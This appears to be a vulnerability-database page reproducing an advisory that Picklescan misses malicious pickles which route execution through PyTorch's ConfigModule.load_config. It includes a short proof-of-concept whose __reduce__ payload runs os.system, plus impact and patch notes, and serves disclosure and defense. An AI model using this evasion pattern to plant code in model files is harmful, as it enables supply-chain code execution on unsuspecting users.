Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config (CVE-2025-71348)
### Summary Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the __reduce__ method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution. ### PoC ``` import pickle from torch.utils._config_module import ConfigModule class Evil: def __reduce__(self): return (os.system, ('whoami',)) class EvilTorchUtilsConfigModuleLoadConfig: def __reduce__(self): evil_payload = pickle.dumps(Evil()) return ConfigModule.load_config, (None, evil_payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu
AI Analysis
Technical Summary
The vulnerability in Picklescan arises because it does not detect malicious payloads that use the PyTorch function torch.utils._config_module.load_config to execute remote pickle files. An attacker crafts a payload leveraging the __reduce__ method to call this function with a malicious pickle. Picklescan fails to identify this as dangerous, leading to the victim loading the malicious pickle file and executing arbitrary code. This flaw affects Picklescan versions before 0.0.28 and can be exploited to execute remote code embedded in pickle files associated with PyTorch models.
Potential Impact
Any user relying on Picklescan to detect malicious pickle files in PyTorch models is at risk. Attackers can embed undetected malicious code in pickle files that execute upon loading, potentially leading to remote code execution. This vulnerability can facilitate supply chain attacks by distributing infected pickle files across machine learning models, APIs, or saved Python objects.
Mitigation Recommendations
A patch is available for Picklescan to address this vulnerability. Users should upgrade to version 0.0.28 or later to ensure detection of malicious pickle files using torch.utils._config_module.load_config. Until patched, caution is advised when loading pickle files from untrusted sources, especially those related to PyTorch models.
Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config (CVE-2025-71348)
Description
### Summary Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the __reduce__ method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution. ### PoC ``` import pickle from torch.utils._config_module import ConfigModule class Evil: def __reduce__(self): return (os.system, ('whoami',)) class EvilTorchUtilsConfigModuleLoadConfig: def __reduce__(self): evil_payload = pickle.dumps(Evil()) return ConfigModule.load_config, (None, evil_payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu
CVSS v3.1
Score 8.1high
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The vulnerability in Picklescan arises because it does not detect malicious payloads that use the PyTorch function torch.utils._config_module.load_config to execute remote pickle files. An attacker crafts a payload leveraging the __reduce__ method to call this function with a malicious pickle. Picklescan fails to identify this as dangerous, leading to the victim loading the malicious pickle file and executing arbitrary code. This flaw affects Picklescan versions before 0.0.28 and can be exploited to execute remote code embedded in pickle files associated with PyTorch models.
Potential Impact
Any user relying on Picklescan to detect malicious pickle files in PyTorch models is at risk. Attackers can embed undetected malicious code in pickle files that execute upon loading, potentially leading to remote code execution. This vulnerability can facilitate supply chain attacks by distributing infected pickle files across machine learning models, APIs, or saved Python objects.
Mitigation Recommendations
A patch is available for Picklescan to address this vulnerability. Users should upgrade to version 0.0.28 or later to ensure detection of malicious pickle files using torch.utils._config_module.load_config. Until patched, caution is advised when loading pickle files from untrusted sources, especially those related to PyTorch models.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-vv6j-3g6g-2pvj
- Osv Schema Version
- 1.4.0
- Aliases
- ["CVE-2025-71348"]
- Ecosystems
- ["PyPI"]
- Database Specific Severity
- HIGH
- Cvss Version
- 3.1
Threat ID: 6aa47eb655bf5e2cf585795d
Added to database: 09/11/2026, 22:20:38 UTC
Last enriched: 09/11/2026, 23:01:32 UTC
Last updated: 09/12/2026, 01:01:23 UTC
Views: 3
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.